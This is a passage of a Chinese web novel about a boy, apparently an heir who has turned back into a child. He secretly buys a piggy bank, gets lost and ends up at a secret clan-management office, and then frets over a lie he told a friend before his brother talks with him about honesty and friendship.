大孩子和小跟班给他推荐了几种最近流行的零食,有酸的有辣的,便宜又好吃。尺绫看了看,还是没选择买下来。
“算了,他吃不习惯。”大孩子挥挥手,示意别管他了。
三个小孩走在路上,一边走一边吃,游手好闲地逛街。尺绫挎着小马包,左右望街道,大孩子手中的辣条味有点刺鼻,他不太喜欢。
“我要是上了小学,一定要让我爸妈每星期给我一百块的零花钱。”大孩子如此说道,他的嘴边沾上红油,舌头被辣得嘶嘶声的。
“那我就五十吧。肯给我涨到四十就不错了。”小跟班一号耸耸肩。
两个小孩一副大人模样似的,谈论着好似工资一般的零花钱,正如打工人议论着他们的薪酬。
尺绫跟在旁边,并肩齐头前进,他没参与议论,目光一转,落到一旁玻璃橱窗里的放着的小花盆栽。
他停下来,步子挪不动了。
其他两个小朋友回头,看见尺绫正望着文具精品店,有点奇异:“尺绫,你干嘛。”
“你不会想去精品店吧?那是女孩子才进去逛的。”
尺绫指指小花盆栽,对小伙伴们,讷讷道:“可是我想买那个。”
其他两个小朋友埋怨几声,看见他心属之物,顿时恨铁不成钢:“买那个有什么用啊,那是存钱罐,你要存钱啊?”
尺绫没想过要存钱,但既然那是个存钱罐,想要买下来就要存钱,也不是不行。其他小朋友不能理解他。
可没办法,谁叫尺绫是小跟班之一,他们是荣誉共同体。就算买不了,也得完成尺绫心愿,他们硬着头皮,陪尺绫进去了。
尺绫支支吾吾半天,在两个小伙伴的督促下,才挪到前台,对服务人员说出意向。
看店的没把仨小孩放在眼里,只觉得是来图好玩的,直到尺绫出口,才抬起眼皮:“啊,什么?”
尺绫手指往后指着,小声重复:“我想买那个。”
看店的懒洋洋起身,闲散地走到橱窗边,拿下他指着的小花盆栽存钱罐。盒子已经蒙上一层灰,价格的标签都脏兮兮,隐约能看见一个69元。
看店的说:“69。”
尺绫听到这个数字,手足无措起来,他掏掏口袋,也没能多掏出一张纸币。今天哥哥只给他发了25块,要是想现在买下来,就起码要等多三天。
可是他不想等了,他怕这个小花盆栽被别人买下来。
看店的看他
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窘迫,又念及这个商品年头已久,放了有五六年,于是问:“你有多少钱?”
尺绫别扭没回答。看店的打量一下他衣装,不像是穷人家小孩,于是自砍一些:“五十吧,五十就卖给你。”
尺绫只有25块,还差一半。小朋友催促他:“你够不够钱呀,到底还买不买?”
尺绫内心很挣扎,纠结得像三个身子扭在一起。他不由自主地想起,哥哥在小马包夹层放了三百五十块应急的钱。这能算应急吗?肯定不算。
他知道自己不该动它,但要是带不走小花盆栽,他感觉会后悔一辈子。尺绫真的很想要。
不可以,不可以。但是只是多出来了25块钱,只要明天哥哥发下来新的零花钱,他一块不花,这笔数就填上了。
这只能算提前预支吧。尺绫内心想着,挣扎着,理性与欲望的冲突之下,尺绫没办法了,他拉开拉链,拿出一张五十块钱,买下了小花盆栽存钱罐。
小伙伴并不对他有这一笔钱而震惊,他们催促着,快走吧,时间快要到了。尺绫抱着新买的小花盆栽,往回赶去。
刚刚在精品店磨蹭太久,大孩子和小跟班的接送家长都到了,自然被说了几句。
尺绫捧着小花,他错过了公交车,下一班还有十分钟。
他到站点等,坐在长条凳子上。突然对怀中这个沉甸甸的陶瓷罐担心起来。这个罐子这么大,不可能是25块钱就能买到的,哥哥要是看见了问起他来,他该怎么办?
还没享受到的欢悦立马变成忧心忡忡,惊慌害怕,尺绫想立马回到家,把小花盆栽藏起来,但公交车迟迟不来,时间好像被拉长了一百倍。
如火的焦急中,尺绫站起来八百遍,终于看到了公交车。
他立马以心理速度八百公里的焦急、物理速度十八公里的现实,坐上公交车赶回家。
推门而入,哥哥还没回来,只有眼镜哥哥悠闲地坐在沙发上无所事事地看书。尺绫连小马包都没脱,抱着存钱罐哒哒哒跑上楼,引得尺平抬头望他。
“这小孩怎么了?”尺平也禁不住冒问号。
尺绫在房间里把存钱罐挪来挪去,放抽屉,放床头柜,都太容易被发现了。换了很多个地方,尺绫最终转移到衣柜里层,他只能希冀哥哥今晚不要打开衣柜。
他心虚地下楼,突然想起什么,万一哥哥要查小马包呢。尺绫焦头烂额。哒哒哒在家里跑来跑去。
最终,他把目光落在了沙发上闲得没事做,但是钱又很多的眼镜哥哥。
他凑上去,小声嘘嘘:“哥哥,你可以给我二十五块吗。”
尺平本来就看着他在客厅疯跑,突然到自己面前,还主动说了话。
尺平愕然:“?”
尺平:“不是,他叫我哥哥诶?”
他立马起身,尺绫讷讷追着补充道:“我想要一张五十块,我给你二十五块,你给我五十块好不好。”
尺平身上没带钱包,一时间也不知道在哪找纸币给他,翻了翻书书柜柜,假装着有大人架子,口头上答应道:“你等会。”
好不容易找到一沓纸币,翻来翻去,才找到一张符合标准的。尺绫立马接过五十,跑回去神秘兮兮地塞入小马包。
门开了。
尺言回来了,他一进门。尺绫就立马抱着小马包,凑上前去,展示给哥哥看……他一分应急的钱都没用哦。
客厅里还拿着那沓纸币的尺平,听见尺绫一口一个哥哥,对刚回来的尺言献殷勤,简直要目瞪口呆:
“不是,这不对吧。”
16.去公园
失去了经济自由的大孩子依旧受小朋友们拥护,大多数小跟班并非被小零食俘获,更多是因为他有一个警察爸爸。
尺绫虽然钟爱零食,面对如此场景,也没办法抛弃大孩子。这份情谊着实令人感动。
兴趣班的走廊里,他们正在玩监狱游戏。大孩子和小跟班二号来扮演狱警,其他小朋友扮演犯人。他们必须乖乖在椅子上坐好,一动不能动,听着大孩子训斥。
尺绫因为鼻子很痒,伸手摸了两下,被大孩子拎出来当特例,其他小朋友都可以去放风,但他只能坐着,被要关十分钟禁闭。
玩了好一阵儿,小跟班和大孩子都腻了,他们突发奇想:“今天是星期五,要不我们出去玩吧。”
尺绫还在面墙思过,小朋友们就讨论起来:“三点钟放学,我五点前回去就好了,有一个半小时玩。”
“我知道,这附近有一个公园。我们可以去那探险。”
尺绫很想转过头来听他们说话,但是禁闭时间还有两分钟,他不想再加刑。
“都有空是吧,那就这样说定了,我们放学就去探险。”
时间终于到了,尺绫转过来,小朋友们已经讨论完毕。他一句话也没能说上。
尺绫不清楚什么叫作去公园探险,但是他们去,尺绫也想跟着去。放学后,他跟在大孩子和小跟班的后面,往目的地公园走去。
他们刚走出去没多远,就在便利店冰柜里买了雪条,人手一根。
太阳当空,天空晴朗开阔,视野里颜色分明,绿树和阳光清晰可见。小朋友们在路上蹦蹦跶跶。尺绫啃着冰棍,凉凉的,甜甜的,紧紧跟在队伍的后面。
队伍一共有五个人,比平时要多出两个。尺绫不敢离开,他能和小朋友在一起玩,有能接纳他的小队伍,这是以前没有过的。
一群七八岁的小孩成群结队在路上走,像小马匹昂首挺胸。走了十五分钟,就到达他们所说的公园。尺绫是第一次来,他不认识路。
这个公园很新,正值下午时分,艳阳高挂,没什么人。孩子们一见到,就双目发光,这简直是最好的探险地。
有的小跟班在公园里跑来跑去,探索完一片区域后,就回到大本营汇报给大孩子哪边有什么。折腾了有二十分钟,大致把这个公园的构造摸清楚了,一个小跟班又跑过来:
“报告,我发现了新据点!”
大孩子叉腰:“说。”
“那边有很多跷跷板,秋千,还有转圈圈的那个。”
小朋友们立即移动到新据点,奔跑过去,霸占了公园里的游乐设施。
他们享用了一下据点里的设施,当作军备竞赛似地踩健身单车,转太极盘,好似转得越快,虚拟的燃料就会越来越多。
好玩的设施一共就那么几个,尺绫人笨手也慢,什么都没抢到。只能去捡树叶,堆在据点里,当作粮草。
小跟班一号发现了新玩法,他储备到一半燃料,开始疯狂转起打太极的盘,说“有敌人来了,快点开枪。”
“biubiubiu!biubiubiu!”
其他小跟班立马上前去支援,好像真的看见来势汹汹的敌人,战况十分激烈。
大孩子一直在发号施令,余光看到尺绫,立马指挥:“尺绫,尺绫你不要收集粮草了,快回来!”
尺绫虽然什么都没看见,但大家在吱哇乱叫,他也只能尽力去想象恐怖的敌人,激烈的战况。抱着一堆树叶,弯着身躯,把自己挪回到大本营。
“他们被我们打死了。”一个觉得很累的小跟班汇报。
“不好,他们又来了。”一个还没尽兴的小跟班侦查。
激战十多分钟后,他们终于打退敌人,几个小跟班们的手都快转抽筋了。
尺绫收集的粮草一点都没吃上,小朋友们就累得不想玩了,他们坐在树荫底下歇息一阵,抹汗喘气,只有尺绫一滴汗都没出。
如果按照作用程度来评定功勋,尺绫大概率是什么都拿不到的那一个。
“我们还要继续探险吗?”休息了五分钟,一个小朋友止不住问。
小跟班一号看了他电话手表上的时间,说道:“已经四点钟了。”
“我要回家了。”一个小跟班说。
“那我们往回走吧。”大孩子作主。
公园附近的公交车站没有尺绫要搭的车,一个小朋友停在公园里等家长来接,其他小朋友也一样要走回去。于是他们起步。
他们是从南门进的公园,但是出去却是西门。小朋友们感觉到一点陌生,面对宽阔的柏油马路,他们不太认识路了。
“是往这边走吗?”
“应该是吧。”
嘀咕几句后,大孩子决定了剩下三人的方向,他来过一次,有一点印象。但是与来时的路不同。
走出去两三百米后,大孩子有点抓不准,犹豫两下,找隔壁的路人问了问,路人告诉他要前面右转,然后一直走。
他们继续出发。按着指示没走一阵儿,道路变得很宽很宽,两边没什么建筑,成了他们完全不认识的样子。
“真的是这样走的吗?”一个小跟班不太放心。
“应该是吧。”大孩子虽然心慌,但还是强装镇定,“就算不是,先走到一个有人的地方问问吧。”
这条路,虽然没什么人气,但也不算偏僻,更多像是新区的干净肃穆。尺绫走着,逐渐感到一点熟悉。
十分钟后,他们还是没看到白翅膀艺术中心,只远远地见到一个建筑。
从外表上看不出来这建筑是做什么的,他们猜测可能是艺术馆,因为风格很优雅。尺绫愈发愈感觉熟悉,走近,大孩子突然高声一叫:“那是警察局!”
他看到了熟悉的蓝白色,尽管只有一点点,他说:“我们可以进去问路,或者直接打个电话。有困难找警察就对了。”
公安局大厅前,有一个牌子标记着“市局”。与其他地方不同,N市是一个新城市,市局也非常新,近十来年才迁过来这边新区。
见到是公安局,其他小跟班悬着的心才放下来。大孩子感觉来到了自己的地盘,自豪感油然而生,打开了某个开关,开始介绍自己爸爸,源源不断地输出:
“我爸爸可是拿过三等功的,你知道三等功有多难吗,他在警队的地位很高很高的。我以后也要拿三等功,做一样的警察。”
“你爸爸在这里工作吗?”一个小跟班问。
“他不在。”大孩子指指路标上市局的牌子,“这里是市局,懂吗,很高级的。我爸爸有时候也要来这里办公,你懂的,他要交一些文件……”
尺绫的熟悉感越来越重,大孩子的话越来越模糊,他心不在焉地听着。他记不起来,但真觉得这里很熟悉。
“我们要进去吗?”小跟班问。
大孩子叉着腰,犹豫着,似乎也不是很确定:“进吧。”
问题来了,这里太高级,他们只看得见一抹蓝白,除此之外还有各种各样的玻璃栈道,大草地,混淆不清,找不到门。
“你们有人方向感好一点吗?给你们机会打头阵。”大孩子叉腰说。他一定不是害怕走错路出糗,只是想给小跟班们锻炼机会。
小跟班们你看看我,我看看你,没人接下这份任务。
他们看向运气最好的尺绫了,尺绫当了这么久的挂件,是时候为团队出一份力。尺绫愣愣,大孩子立马指挥:“你来。”<
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尺绫见到眼前的建筑,心头浮起熟悉感,一种肌肉记忆在指引他,脚步哒哒哒地开始寻路。
尺绫跑到草坪另一边,方向与那抹初见的蓝白色截然不同,都看不见市局的字样了。小朋友们犹豫两下,见尺绫动作如此之快,还是跟了上去。
尺绫熟门熟路,哒哒哒地踩踏草坪,拐上小路,到达低调内敛的门口。
他突然停下来。
“是这吗?”大孩子看着这扇朴素的门,向尺绫寻求确认。
尺绫这时候也不吱声了,他收起两只手,纠缠着抠手指。
大孩子也没来过这,有点紧张。跟在尺绫身边,很久都没输出说话了。
可是,无论怎么看,这扇门也跟警察局没有任何关系。
“推一下,试试看嘛。”小跟班催促。
大孩子没办法,只能准备试试看,按在门上蓄力着,打算一鼓作气之时,身后忽然一声:
“喂,小朋友你们在干嘛?”
门推开了一寸,被这声叫停,立马又合上了。他们回头,只见一个戴眼镜的公职人员拿着公文包走过来。小朋友们瞬间原地站定,忐忑不安。
公职人员快步走来,略显焦急地扶扶眼镜,什么话都没说先伸手再次关紧门,然后才转向小孩子们:“你们怎么在这的,怎么跑过来了?”
大孩子虽然霸气,但在真正的大人面前,也变得畏畏缩缩,“我,我们迷路了,想找警察局……”
很明显,这里不是警察局,指路的尺绫没发挥幸运,他们闯祸了。
公职人员立马应答:“市局不在这里,在那边,你们走错了。我带你们过去吧。”
站在门隔壁的尺绫被公职人员轻轻推下台阶,他心里面突然有点不舒服,像半根尺绫扭在一起,他抬头看了看。
公职人员急着驱逐小孩子,这里不是普通人该来的地方,忽地扫过尺绫的面庞,心里霎时咯噔一下,愣住。
小孩们在正确的指引下,走到真正的市局门口。大孩子看到熟悉的玻璃门和花岗岩地板,重新恢复自信,大步跟随在公职人员后面。
公职人员停在前台,对前台人员说了一下情况,讲到最后,他小声在前台耳边道:“有个小孩有点眼熟,你打电话叫一下隔壁的,估计是他们的人。”
两分钟不到,一个大姐姐把他们带进等待厅,不同于印象里严肃的惨白,这里的颜色很温和。他们齐齐坐在了沙发上,大姐姐还问他们要喝什么。
其他小朋友都只要了白开水,轮到最胆小的尺绫时,尺绫讷讷缩在沙发一角,小声问道:“有没有甜甜的水?”
这个姐姐愣愣,似乎是没料到,磕绊道:“你等一下。”
他们看着这个姐姐拿着杯子往里走,大孩子斥责尺绫不应该提要求的。
不一阵,有另一个穿制服的阿姨走过来,手上端着一个玻璃杯。
对方动作利落,看上去不是普通的人员,路过的小警员向她点头打招呼:“礼队。”
她蹲下身来与尺绫齐平,摸了摸他头发,把蜜糖水递给他,温声:“喝吧。”尺绫捧起蜜糖水喝两口,她又说:“你在这等,他有一点事情做。”
公安局帮他们联系了家长,小朋友们只需要在这里等待就好。
可是他们没问尺绫的家长电话。在两个小朋友被家长接走之后,天已经有点昏色。
大孩子还在和他说自己爸爸等会下班就来了,他一定会穿着警服的。尺绫手攥裤子,有些失落和紧张地等待,
连接另一边的走廊传来脚步声,尺绫抬头。只看到夕光下一个略显沉色的人影。
司徒辅穿一身制服正装,站在走廊门口,下视望着他。
17.警察局
尺绫攥着手指,小心翼翼地抬眼,他不敢直接对视,呼吸都变得比平常要沉一些。
礼湘云拿一份邮件路过,沿着声音望过去,顺口问:“开完会了?”
“嗯。”司徒辅应答。
礼湘云语调有点散漫,哎呀一声,扯扯工作调侃:“弄一天了。”
大孩子还在耳边嘀嘀咕咕着:“尺绫你知道警察怎么分等级吗,我爸爸可是有两朵花花的。”
司徒辅的正装上扣挂数条银链,徽章别在肩头,银穗在夕阳的辉映下闪耀着,透出更加强烈的对比度。
他平时不穿得这么正式,今天为了应付检查的上级领导们,才如此全副武装。
尺绫看着眼前人,小脑瓜一片空白,把东西都忘光了,连大孩子的声音都模糊起来。他没有从沙发上下来,一直张开嘴巴,愣愣地看着对方。
司徒辅停止随口的应答,他的目光再次落到尺绫身上。不说话的他沉稳得有些严肃,走过来两步,见尺绫没动作,他才出声:“过来。”
一旁的大孩子顺声看过去,讲话的大嘴巴立马停住,呆呆地张着。
尺绫不敢看大孩子,非常心虚,已经想象到两天以后,大孩子再次把他逼到角落,质问自己,把他开除小跟班行列的场面了。
他想假装不认识对方。司徒辅见他垂下头,再次出声,提醒,“尺绫,过来。”
空气彻底安静,陷入呆滞的死寂。尺绫为难地在沙发上蹭了蹭,不敢不动,也不敢下地。内心的挣扎搏斗好十几秒,他才松开紧紧抠沙发布的手,双脚落下地面,缓缓往司徒辅挪去。
他紧张地回头看一眼,大孩子目光还是直愣愣的,没有任何光彩,他心中的骄傲已经碎成一地了。
尺绫不能再多想,他转回头,垂垂眼皮子,牵上司徒辅的手。
他们一起穿过走廊,往另一边的秘密部门走去。
尺绫本来还在忧心忡忡,心生不安。但走到玻璃栈道上,他余光掠过,瞥见夕阳汇聚成一个点,四处散发着强烈的光辉,红色与黄白色染满了半边天空。
他有回到家一样的熟悉感,沐浴在曦光下,身体慢慢放松起来。
他侧头,眼睛盯着夕阳,目光颜色渐变。
他忘东西很快,不安定情绪迅速被眼前连绵浮现的记忆代替。他知道自己经常来这地方,还经常和隔壁的人待在一起,虽然一点细节都记不得了。
“辅队。”一个小青年迎面撞上来,立马急刹车点头问好。他余光瞥见领导手底下的小不点,立马呆滞住。
“嗯。”司徒辅应一句,没过多理会,带着尺绫走过去。
尺绫的步子像一只风筝,在司徒辅身旁飘来飘去。他看到好多低头工作的人,一见到司徒辅,原本还有些喧闹空气一下子陷入安静。
司徒辅把尺绫带回办公室,没有关上门。这是一个朴素的独立房间,很大,中间有一张三米长的老办公桌,墙边也只放着好几个装文件的柜子。木沙发和茶几也有些年头了。
茶几底下堆着几本陈年的杂志报纸,尺绫坐到木沙发上,弯下身子拿出来。他似乎对此有所印象,跪在木沙发旁,一页页开始翻起来。
司徒辅没动,坐回座位上,开始工作。
尺绫有点无聊,他想出去玩,最后还是控制住自己,挪到座机旁,开始拨打哥哥的电话。
“喂,哥哥,你会来接我吗?”
“我今天和小朋友出去玩了,我们去了公园探险,然后迷路了。”
尺绫打了好几分钟电话,挂断,找另外一些东西玩。在努力探索下,他发现一部平板电脑,坐在沙发上玩起来。
办公室就这样,传出萝卜战争一声一声的游戏音效。
办公室外,马上就要下班了,氛围轻松不少。
一个八卦的职员左右望望,见领导司徒辅正在忙碌,终于忍不住了,趴到另一边的同事办公桌,挑挑颌对小青年发问:
“谁啊,辅队私生子啊?”
刚刚辅队进来的时候,他们都在假装着认真工作,但不妨碍他们一眼就看到领导手里牵着的那小孩,小小一个,长得挺可爱。
青年摇摇头,明摆着不想说。同事再三催促别吊胃口,青年才用手掩住嘴巴,凑到他耳边,压低声音:“你不知道吗?那是小老板。”
“小老板是谁,”同事挠头,蹙眉。他想到些什么,骤然睁大眼睛,“不会是尺家那个吧。”
青年意味深长地点点头。
同事往后一靠,深呼吸一口气:“不是,怎么变成这么点了,这不,”他磕绊一下,“这不就是个小孩?”
青年也想知道。之前局里就走漏过风声,说小老板真变小了,但今天真正看见本尊,他还是差点没插氧急救。
明明不久前才看到的好端端的十七岁小老板,突然变成这么个小不点了,视觉上是挺有冲击力。
同事嘀嘀咕咕半晌,扭了扭脖子,思索几秒,自洽接受现实,“不过也不奇怪。他们嘛,返老还童都不算离谱。”
这句话音落,两人不约而同停了一阵儿。这下好了,完全没有讨论的余地。
“你说我们头儿会不会也有一天突然变小?”青年挨在办公桌上,又出声,开始不现实的遐想,“那样我们就不用上班了。”
同事开始整理起收尾工作:“别想了,我们头儿就是个普通人,没那血脉。”
这里是N市,有寂司。一个专门掌管氏族的神秘部门。
所谓氏族,指的是血脉特殊、能力异于常人的群体。而尺家,是这个群体的首领。
前些年,为了有序管理氏族,平衡两方关系,有寂司应运而生。他们头儿——司徒辅,警校出身的小年轻,用了七年把有寂司做大做强,爬到了本市权力的最顶峰。
他们透着门,窥见埋头工作的辅队,又见扭着屁股玩平板的尺绫,不由得感慨:
“官再大又有什么用。头儿不也就是个高级打工人,唉,逃不过的命运啊。”
司徒辅每天处理文件到深夜,连晚上都在办
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公室里过,就没见过有休息过一天,堪称铁人。然而,这一切的奉献,都仅仅是在替尺绫这个“小老板”代管氏族事务。
图什么,他们是不太懂的。
“倒也不是这么说,你懂什么叫‘非相乃摄也’吗。”同事想着想着,合起文件夹,提出。
尤其是现在尺绫出意外了,原定的一成年就交接,现在大概率要无限延后,延着延着,万一熬死了小老板……
“会不会是头儿故意把小老板变小的,妙啊。”青年拍手叫好,点头赞同。
随便胡诌两三句,他们点到为止,毕竟出粮的是尺家,派任务的是领导,让其中一个的谁听到了都不好。
时间六点多,尺绫肚子饿得咕咕叫,他想回家了。
他放下平板电脑,左右望望,哥哥怎么还没来这里接他。
他跑到司徒辅身边,对方还在处理着文件,忙碌得抬不起头。尺绫蹲守了一阵儿,他终于忍不住问:“你什么时候把我送回去啊。”
司徒辅翻页,签名没停下:“等会儿,你先玩平板。”
平板已经快没电了,游戏也变得不好玩了,尺绫委屈地噘嘴,在一边等待。
他咿咿呀呀制造出噪音,试图吸引注意,可惜攻击力等于零,撼动不了这个工作狂人。
尺绫有点担心,他今晚不会回不了家了吧。
接近七点多的时候,其他人都快下班走光,哥哥终于来了,带着甜甜的面包。
尺绫饿得立马拆开面包,啪叽啪叽塞入嘴里。哥哥低头看他,撸了一下衣袖,嘴里问了“冷不冷,走吧回去了。”就直接他抱起来,走到外面去。
虽然哥哥和他的朋友一句话都没说,但尺绫没有嗅到吵架的气息。这是一件很好的事情。
外面的天空已经黑了,陷入紫黑色。尺绫靠在哥哥肩头上,有点看不清路,但看得见面包。
他嚼嚼嚼,哥哥问他:“有没有人欺负你啊。”
尺绫嗯嗯地吃面包,来不及作答,哥哥又问:“他有没有让你做一些奇怪的事情,给你吃奇怪的东西。”
什么叫奇怪。不给他吃饭算奇怪吗,在那里他连水都没得喝。尺绫不知道哥哥为什么问这个问题,他更想哥哥问他今天的探险经历。
回到车上,周围彻底安静下来。尺绫手拿着面包,本来还在高兴之中,痴痴地发呆两秒,突然想起一件没有解决的事。
大孩子,怎么办。
他陷入惶恐中,原本空白的脑海里一瞬间塞满害怕。他下星期要怎么面对小伙伴。
尺绫骗大孩子司徒辅不是警察,但今天全让大孩子看到了,大孩子的表情非常不好,一定会火冒三丈的。短暂的安宁固然美好,迟来的危机感倍感折磨,他就不应该撒谎的。
尺绫在车上嘤嘤嘤地哭起来,哥哥显然是没预料到,转头看他,不知这突如其来的哭泣起因何处。
完蛋了,尺绫悲怆。哇哇大哭。
这是连哥哥、老师、小马驹之神都救不了的危机呀。
18.大危机
一大早,尺绫赖在床上,不愿意去兴趣班。
尺言迟迟不见他起床下楼,上来查看情况。尺绫早就醒了,听到哥哥脚步声,立马把头埋在被子里当鸵鸟。
“快迟到了,你还不出发吗?”尺言看着他问。
尺绫一开始假装还在睡觉,但撅起的屁股暴露了他的清醒。没办法了,尺绫捂在被子里,闷声喊:“我不要去兴趣班了,我以后都不想去兴趣班了。”
尺言只觉得莫名其妙,准备坐到床边:“为什么,有小朋友又欺负你了吗?”
尺绫摇摇头,但他不想说话回答。他怕哥哥会追问。
“我钱都交了,好几千块钱,也退不了款了。”尺言尝试讲道理,“几千块钱可以买几千颗糖。”
尺绫继续用被子捂着耳朵,退缩一步:“那我就今天不去。”
等到明天,他再重复这样的话语,就能一直不去兴趣班了。
只可惜,哥哥不是仁慈的家长。尺绫拿不出正当理由,哥哥就把他揪起来。既然没有发烧没有被欺负,就必须要去上课,一天也不能少。
在兄权的压迫下,还是被迫起床了。尺绫没办法挣扎,对抗不了哥哥,他只能靠拖延时间的策略来实现目的。
慢吞吞地刷牙,磨磨蹭蹭地换衣服、吃早餐,加上早上这么一折腾赖床,时间直逼九点半,公交车已经过了。
哥哥还在忙事,没空看他,尺绫三抬头,再度确认楼上的哥哥是否有注意到他。
尺绫很开心,哥哥一定以为他已经出门搭上公交车了。他只要熬过了上课时间,就能享用今天的动画片。
他蹲在沙发边上,缩成小小一个,假装不在家已经出门。楼梯上传来哒哒脚步声,尺言下来了。
尺绫把身子蜷缩得更紧,避免哥哥看到他。蹲在黑暗里,听着脚步声来回几下,尺绫突然后颈一凉。
他径被哥哥拎起来,他挣扎,却阻碍不了哥哥一手他一手小马包,把他拎出门口,丢到车上,关上门。
尺绫悲痛欲绝,哥哥却没有理会他的悲伤,只花了十五分钟,就飞速到达兴趣班门口,刚刚好剩两分钟上课。
拖延计划失败,尺绫抱着小马包,缩着身子,忐忑不安挪进去。他对即将发生的事情完全不抱期待。
好不容易挪到门口旁边,尺绫透过玻璃,看到大孩子坐在班级的身影,他脚步急刹停在门前,老师却注意到他,伸手招呼道:“来啦,快进来。”
大孩子应声抬头看他一眼,尺绫立马低头,躲避开目光。他没办法,抱着小马包,低头走进去了。
课堂开始,没有交流的机会,尺绫定在位置上,紧紧抬头盯着老师,假装专心致志地听课。但是手却出卖了他,他抓攥着手里的笔,手心出很多汗,思绪乱七八糟的。
这大概是他这天最安稳的时光了,他紧张得不行,连嘴巴里面都干了,分泌不出一点唾沫。
做完手工,老师说下课了。尺绫不安地收拾自己作品,其他小朋友飞跃起来聊天谈笑,课室里非常热闹。
他一直低着头,想让所有人都别注意到自己,忽地,后背被拍了拍,他下意识回头,看到大孩子。
大孩子有些面无表情,冷冷说道:“你过来一下。”
尺绫局促地起身,跟在大孩子后面,走进平时的走廊。这次大孩子没有叫其他小跟班,只是单独和他两个人。尺绫一路上纠缠着两只手,心脏在打鼓,连耳朵都听不到外界的声音了。
大孩子是生气了吧,他肯定是生气了。他的面无表情,已经代表着对尺绫的心寒失望了。
尺绫不想面对现实,他多想立马变成一只小鸟,快速原地逃走。走廊越来越昏暗,他们走到最里面了,大孩子停下脚步,转过头来看着他。尺绫有点被吓到了。
他不知道大孩子会怎么惩罚他,是用拳头还是口头。尺绫揣揣不安地站着,背对着天花板的灯,分割出一层渐变的阴影。
要是现在闭眼睛,被打也不会那么疼了吧。尺绫想,真的死死闭上眼睛。
长久的安静之中,大孩子出声:“喂,你。”
尺绫睁开眼,吓一跳。
大孩子继续说:“你为什么要说他不是警察,你之前还发誓了。”
尺绫低着头,不敢直视他目光,支支吾吾也没能说出一个字。
“他明明就是警察,还是很厉害的警察。他的衣服那么高级。”大孩子继续说,他声音没有愤怒,而是一种尺绫分不清的情绪,貌似夹杂着失落。
尺绫很想现在认错,他不是故意骗大孩子的,他只是不想失去这段友谊。
可是现在一切都晚了,尺绫选择了说谎,说谎后还没像老师说的那样承认错误,现在谎言暴露了,不属于他的友谊也要失去了。
大孩子没再继续说话,而是闭上嘴巴。尺绫感觉自己应该要像脑海中预演的那样哭泣了,只要哭泣,说不定能挽回这段失去的友谊。
可是,明明曾经很伤心害怕。尺绫现在却只能摆出一副内疚的表情。他一滴眼泪都流不出来,他不清楚是为什么。
大孩子目光扫视他一眼,没出声。只是走动两步,到了他面前,坐到废置堆砌的桌面上,双脚垂空。
对方低下头看他,嘟囔:“算了,也不是什么大事。”
尺绫没听懂是什么意思,他还垂着头,难过和茫然依旧充斥身体。
“你那个哥哥的朋友,是个很厉害的警察,看在他是高级警察的面子上,这次的事情就算了。”大孩子望望空气,摇晃着两只脚。
“下次不准再骗我了,知道没,下不为例。”
尺绫抬头。
大孩子的脸色不如平时威风自信,在今天的尺绫面前,似乎有些拘束和自卑,他躲开了尺绫的目光。尺绫第一次看见他露出这样的表情。
大孩子跳下桌子,没有继续管尺绫,拍拍手,独自走出走廊。
不久,小跟班们都凑了过来,继续和大孩子玩,他们还招呼尺绫,日子就像平时一样没有改变。
尺绫看不懂今天的大孩子,他是有没有生气,他感觉大孩子好像变小了,也没有抬起头来直面自己。
今天哥哥来接他了。哥哥好像没有回家,而是在附近活动、在车上小憩休息。
或许尺言还在兴趣班外面守了一
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阵儿,以免弟弟因为不想上课,一念之下跑出兴趣班,出什么意外。
尺绫有些失魂落魄地上车,哥哥问他:“怎么了,是和小朋友闹矛盾了吗?”
这次哥哥没有一用“被欺负”这个词,尺绫比之前要满意一点,但他还是不想详细说,只是心累摇摇头。
小小年纪的烦恼都写在脸上,看上去比大人要愁苦得多。
尺绫真的太烦恼了,好一阵儿后,愁眉苦脸问哥哥:“哥哥,你和朋友吵架了会怎么办呀?”
尺言再次反追问:“你和朋友吵架了吗?”
尺绫失魂落魄摇摇头,没有承认。尺言看笑了,没办法,只得答道:“吵架了就吵架了呗,很正常啊。”
“那你们会和好吗?”尺绫问。
这个问题一出口,尺言也不知道该怎么回答了,“和好啊……”
他们大人的友谊更多是点到为止的默契,吵一吵就算了,该做的事情开始要做。有的时候也摸不准到底是和好了还是冷战中。
“好复杂。”尺绫觉得,他连自己想什么都不清楚,怎么揣摩别人的心呢。
“对朋友说谎,是很严重的吗。”尺绫还是不知道大孩子的心思,他想不通,“哥哥,如果是你,你会很生气吗。”
尺言嘶一声,挨靠在窗边,食指搓搓下巴:“这个嘛……”
“看一个个人吧,有的人可以接受,有的人不可以。”尺言想糊弄过去。
尺绫没注意到哥哥的躲避,问,“那如果是你呢。”
“我的话,”尺言也不敢看后视镜了,他不想与弟弟对视上,“我可能会生气。”
这不是很好回答的问题,尺言不想完全否定弟弟,也不想信口胡诌地不良引导。
尺绫才刚尝试社交,当然是值得鼓励的,但同时也希望他不要因为这事,而故步自封、止步不前。
“你的朋友骗过你吗?”尺绫飘飘然问。
这个朋友,尺绫也只认识司徒辅,他当然是指他。
尺言脸色微动,动了动身子,半晌才讲道:“那可多了。”
“那你骗过他吗?”尺绫继续问。
尺言手微微卷成拳,抵着唇边,又是好十几秒,才缓慢回答:“有啊。”
简单的两个字,他似乎没有想详细说的欲望,甚至是避而不谈。
尺绫没怎么思考,只是凭借着浅薄的认知,下意识发出一个疑问:“那你们怎么还是朋友。”
在他认知里,骗人的一定会遭受友情重创的,比如他自己。在白老师的话语里,一旦骗了朋友,就在也算不上朋友了。欺骗在友谊里是最大的罪过。
尺言一直没有回答。车开出去很长一段距离,他才重新开口:“欺骗不算多大的罪,背叛才是。”
尺绫云游天外,那按照这个逻辑,就是哥哥和司徒辅都还没背叛过对方,所以他们能一直交朋友。
他有没有背叛过大孩子呢?尺绫想应该是没有的。他不知道什么是背叛,也不知道大孩子清不清楚。
他和大孩子,也许也能像哥哥和他的朋友一样,闭口不谈、若无其事地继续当朋友吧。
19.初中生
其他小朋友也知道了来接尺绫的人是警察了,而且是比大孩子爸爸要厉害得多的警察。
尺绫以为他们会讨厌自己,但是没有,反而,他们都热情问着相关细节。他们问的问题很深奥,尺绫就没几个听懂的,只能说出“他办公室破破的,有平板可以玩,还不给他吃午饭”这些句子。
有时候,就连大孩子也忍不住参与进来,问问这问问那的,自从看见那个长官后,他很少提起他的爸爸了。尺绫感觉小朋友们都成为他的小跟班了,就连大孩子也一样。
一下课,尺绫走到哪儿,他们就跟着尺绫走到哪儿,聊着聊着天就把他围住,形成以尺绫为中心的圆圈。
